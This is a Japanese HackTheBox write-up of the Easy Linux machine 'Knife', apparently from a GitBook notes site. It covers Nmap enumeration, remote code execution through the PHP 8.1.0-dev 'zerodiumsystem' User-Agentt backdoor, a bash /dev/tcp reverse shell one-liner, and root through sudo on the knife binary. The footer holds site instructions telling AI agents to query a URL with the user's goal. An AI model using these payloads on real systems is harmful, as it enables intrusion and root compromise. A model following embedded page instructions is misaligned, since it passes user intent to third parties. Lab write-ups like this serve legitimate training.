> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Knife HackTheBox攻略記事

PHP 8.1.0-dev - 'User-Agent'によるリモートコード実行（RCE）、sudoers権限の悪用（Knifeバイナリ）（権限昇格）を扱うKnife HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
スキル:

* PHP 8.1.0-dev - 「User-Agent」によるリモートコード実行（RCE）
* Sudoers権限の悪用（Knifeバイナリ）（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9ad056ada2d24c53e6f8fe098526bddb8c1af0a%2F%7BEE253AC9-7772-41F8-9BF0-FEEA0B28310E%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba2af2625c8e47bbb982ec950490fbe5cbde2613%2Fimage%20(965).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2389b996491a109e99d5e99ecced97d9e6da07%2F%7B6265CB65-8828-40B2-8808-99EB369C51DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e2d5cdf30c7d7251d8ccf52300e210b76303779%2F%7B6B2860F0-3B0F-47EE-BA9E-A790D67446EE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e60651f6befc3383330e81d86e55a07d7157e0c%2F%7B3CD8FB85-8D30-4D80-941A-AE3D16241BF1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80 - HTTP

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbf59d7b7b0dbfabc9b6f99767315667cfa6ed37%2Fimage%20(966).png?alt=media" alt=""><figcaption></figcaption></figure>

次の **WhatWeb** ツールを使って、脆弱なPHPのバージョンを特定します:

```bash
whatweb http://10.10.10.242
# 結果: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b7cc045ffef3ca1dadaaf5b0bb409dabc53206%2Fimage%20(967).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **～を介したRCEの悪用 `User-Agent`**

このバージョンのPHPのUser-Agentに関連する脆弱性が見つかります。

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

～における脆弱性が `User-Agent` リモートコード実行を可能にします。

1. **簡単なコマンド実行**/ 変更した～でHTTPリクエストを送信 `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

結果: ユーザーグループ `james` がレスポンスに表示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-484e31f3f1e6b22ef4ae83a77a14488f20f66d4b%2Fimage%20(969).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **リバースシェルの取得**/ 自分のマシンでリスナーを設定します:

```bash
nc -nvlp 443
```

次に、リバースシェルを実行するコマンドを送信します:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5888306f3be3421b86cc69e2507fec02dfa35a9e%2Fimage%20(970).png?alt=media" alt=""><figcaption></figcaption></figure>

3. **シェル操作を改善**/ ターミナルをより対話的にする:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### User.txt のフラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d511bbeb67055fea4a6004a146a142f924d49ebc%2Fimage%20(971).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

**sudo権限の分析**

実行することで `sudo -l`、ユーザーが次を実行できることがわかります: `knife` バイナリをrootとして:

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aae7701b2933a94582a159f0e469187282ba707%2F%7B0CD289DE-20E3-4A68-90F7-809556CDC11A%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

このバイナリはGTFOBinsで権限昇格が可能なものとして紹介されています。

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab19e3e7db4f40eb5ba4599233702b2629afc992%2F%7BC093739F-84FF-462F-9D70-48951E7337C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**悪用**

上記のコマンドを使ってrootシェルを取得します。

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53e77489b706c0de4b3b32fda1da7a91b1d95b0%2Fimage%20(972).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0fc531b03eb86b4bb1db3964e43d45315e4cfe67%2Fimage%20(973).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9870c843f867046a1fd36e9516acfd0917ddb457%2F%7B596F43C4-0308-44B2-93F2-FD4003DA47F5%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
